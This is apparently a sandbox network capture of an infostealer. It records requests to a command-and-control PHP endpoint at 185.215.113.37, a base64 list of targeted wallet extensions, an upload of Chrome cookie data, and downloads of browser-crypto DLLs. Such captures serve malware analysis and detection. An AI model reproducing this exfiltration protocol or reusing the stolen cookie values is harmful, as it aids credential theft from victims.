Oct 8, 2024 00:13:19.790072918 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IEBAAFCAFCBKFHJJJKKF Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------IEBAAFCAFCBKFHJJJKKFContent-Disposition: form-data; name="message"fplugins------IEBAAFCAFCBKFHJJJKKF--
Oct 8, 2024 00:13:20.007426023 CEST	335	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:19 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 8, 2024 00:13:20.047910929 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAKFCBFHIJJJJDBFC Host: 185.215.113.37 Content-Length: 7339 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 00:13:20.047990084 CEST	7339	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 4b 46 43 42 46 48 49 4a 4a 4a 4a 44 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 Data Ascii: ------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------BKFBAKFCBFHIJJJJDBFCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 8, 2024 00:13:20.769646883 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 00:13:21.345191002 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:21.653970957 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:22.263303041 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:22.558274984 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:22 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 8, 2024 00:13:22.558384895 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 8, 2024 00:13:23.835278988 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAF Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwNzg3MzgJMVBfSkFSCTIwMjMtMTAtMDUtMDgKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjk3OTM4CU5JRAk1MTE9b3JjU0lub1pCYjZTcncwUGRQTU5lTEdLc2VnZkxpLXRRbnZpaG81aEtKWEtETmcwa1hJUG5mVGN1d1Y1cjdScWpUODkzcFdHSkY3a2xLcWxkQm9qNHJESnZ4ZkZsZ0RPQ2NXOWFLRG5VOXpJbFVoMkxQMHZPOGszdVQwZ0hKRDFKdlZBY2xrSm5Ld1pHNmhEQWw2MkhyTXhOclVlcVNSLVdGMUotbDlZWWdFCg==------DAKEHIJJKEGIDHIEHDAF--
Oct 8, 2024 00:13:24.544853926 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:23 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 00:13:24.638554096 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJECGDGCBKECAKFBGC Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 43 47 44 47 43 42 4b 45 43 41 4b 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DGIJECGDGCBKECAKFBGCContent-Disposition: form-data; name="file"------DGIJECGDGCBKECAKFBGC--
Oct 8, 2024 00:13:25.349924088 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:24 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 00:13:26.199377060 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGCFBFBGHDGDAKECAKJE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 39 36 66 34 35 30 31 34 34 33 33 31 66 61 37 61 39 30 61 32 35 61 33 30 34 37 30 35 35 38 62 36 65 30 65 64 30 36 34 37 65 64 61 62 65 63 65 61 33 65 31 35 66 32 31 61 66 30 33 65 64 66 38 31 65 64 36 30 30 31 64 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 42 46 42 47 48 44 47 44 41 4b 45 43 41 4b 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="token"d96f450144331fa7a90a25a30470558b6e0ed0647edabecea3e15f21af03edf81ed6001d------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CGCFBFBGHDGDAKECAKJEContent-Disposition: form-data; name="file"------CGCFBFBGHDGDAKECAKJE--
Oct 8, 2024 00:13:26.908013105 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 00:13:27.343480110 CEST	93	OUT	GET /0d60be0de163924d/freebl3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:27.559032917 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:27 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 8, 2024 00:13:28.421897888 CEST	93	OUT	GET /0d60be0de163924d/mozglue.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:28.636357069 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:28 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 8, 2024 00:13:29.079762936 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:29.306912899 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 8, 2024 00:13:29.605468035 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:29.820704937 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:29 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 8, 2024 00:13:31.826575041 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:32.042402029 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:31 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 8, 2024 00:13:33.771886110 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 8, 2024 00:13:34.364768028 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:33 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 8, 2024 00:13:35.918946028 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIIDAFBFBKECBGDBGI Host: 185.215.113.37 Content-Length: 1003 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 00:13:36.630650043 CEST	202	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 22:13:36 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=84 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
